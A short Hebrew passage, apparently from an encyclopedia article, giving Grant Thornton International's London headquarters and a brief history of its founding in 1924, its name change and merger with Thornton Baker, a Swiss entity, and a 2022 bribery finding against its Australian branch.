מטה החברה הראשי נמצא בעיר לונדון, אנגליה.
היסטוריה

החברה הוקמה בשנת 1924 על ידי אלכסנדר ריצ'רדסון גרנט (Alexander Richardson Grant) תחת השם אלכסנדר גרנט ושות' (Alexander Grant & Co) במטרה לספק שירותי ביקורת וראיית חשבון.
בשנת 1980, החליפה החברה את שמה לגרנט ת'ורנטון אינטרנשיונל (Grant Thornton International) וכמו כן גם את הלוגו והמיתוג שלה.
במהלך שנת 1980, מוזגה גרנט ת'ורנטון אינטרנשיונל עם חברת טורונטון בייקר (Thornton Baker).
בשנת 1986, הקימה החברה את הסניף הראשון שלה בשווייץ תחת השם וריין (Verein).
בשנת 2022 סניף אוסטרליה של החברה נמצא אשם במתן שוחד לעובדי ממשל של אוסטרליה המערבית.